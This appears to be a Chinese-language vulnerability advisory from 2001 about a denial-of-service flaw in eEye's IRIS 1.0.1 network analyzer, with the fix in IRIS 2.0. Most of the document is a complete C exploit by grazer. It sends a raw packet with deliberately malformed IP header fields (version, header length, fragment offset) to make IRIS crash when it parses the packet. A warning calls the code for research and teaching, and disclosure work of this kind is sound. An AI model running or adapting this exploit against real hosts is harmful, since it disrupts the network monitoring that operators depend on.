发布日期：2001-02-01
更新日期：2001-02-01

受影响系统：

    eEye Digital Security IRIS 1.0.1
       - Microsoft Windows 98se
       - Microsoft Windows 98
       - Microsoft Windows 95
       - Microsoft Windows NT 4.0
       - Microsoft Windows NT 2000

不受影响系统：

    eEye Digital Security IRIS 2.0

描述：

---

eEye Digital Security 设计的 IRIS 是一个用于网络管理的协议分析工具，某些版
本存在一个漏洞，容易遭受拒绝服务攻击。远程用户可以构造一个畸形的报文，IRIS
捕捉到这个报文后试图解析它，最终导致IRIS崩溃。

<* 来源：(grazer@digit-labs.org) *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

下面的测试程序由 grazer@digit-labs.org 提供

--------------------------------------------------------------------------
/* Denial of Service attack against :
* Iris The Network Traffic Analyzer beta 1.01
* ------------------------------------------------
*
* Will create an incorrect packet which will cause
* Iris to hang when it is opened by a user.
*
* Vulnerability found by : grazer@digit-labs.org
* Exploit code by : grazer@digit-labs.org
*
* Respect to the guys from eEye, for there fast
* response.
*
* greetings to hit2000, hwa, synnergy, otgpdvt, security.is
*               digit-labs.
*
* ---------------> free sk8!!!! <-----------------
*
* ------------------------------------------------
* http://www.digit-labs.org
*                           grazer@digit-labs.org
* ------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/types.h>
#include <sys/socket.h>

int build_packet(int sfd, u_long srcaddr, u_long dstaddr);

struct pseudo {
u_long saddr;
u_long daddr;
u_char zero;
u_char protocol;
u_short length;
};

int main(int argc,char **argv){
int rawfd, check, one=1;

struct sockaddr_in raddr;
struct in_addr source_ip, desti_ip;
struct ip *ip;
struct tcphdr *tcp;

        while (argc<3) {
        fprintf(stderr, "\n\n[ IRIS DoS attack - by grazer ]");
        fprintf(stderr, "\n %s localhost remotehost \n\n", argv[0] );  exit(0);}

        fprintf(stderr, "\nStarting Iris DoS...\n");
        if((check=gethostbyname(argv[2])==NULL)) {
        fprintf(stderr, "\nCannot resolve host %s\n", argv[2]); exit(0); }

source_ip.s_addr= inet_addr(argv[1]);
desti_ip.s_addr =       inet_addr(argv[2]);

if ((rawfd=socket(PF_INET, SOCK_RAW, IPPROTO_TCP))<0) {
fprintf(stderr, "\n You need root for this..");
exit(0); }

setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, 1);

build_packet(rawfd,source_ip.s_addr, desti_ip.s_addr);

    close(rawfd);
return 1; }


int build_packet(int sfd, u_long srcaddr,  u_long dstaddr) {

u_char packet[sizeof(struct ip) + sizeof(struct pseudo) + sizeof(struct tcphdr)];
struct sockaddr_in sin;
struct in_addr src_inaddr, dest_inaddr;
struct ip *ip = (struct ip *) packet;
struct pseudo *pseudo = (struct pseudo *) (packet + sizeof(struct ip));
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip)
+ sizeof(struct pseudo));

bzero(packet, sizeof(packet));
bzero(&sin,sizeof(sin));

src_inaddr.s_addr = srcaddr;
dest_inaddr.s_addr = dstaddr;

pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
pseudo->zero = 1;
pseudo->protocol=IPPROTO_TCP;
pseudo->length = htons(sizeof (struct tcphdr));

ip->ip_v = -1;
ip->ip_hl = -1;
ip->ip_id = -1;
ip->ip_src = src_inaddr;
ip->ip_dst = dest_inaddr;
ip->ip_p = IPPROTO_TCP;
ip->ip_ttl = 40;
ip->ip_off = -1;
ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
tcp->seq = htonl(rand());
tcp->ack = htonl(rand());

sin.sin_family=AF_INET;
sin.sin_addr.s_addr=dstaddr;
sendto(sfd,packet,sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *) &sin,sizeof(sin));

        fprintf(stderr, "\n Packet send... \n\n" );

   return 1;
}


建议：

---

厂商补丁：

    eEye已经提供了一个新的版本Iris 2.0以解决这个问题:
    http://www.eeye.com


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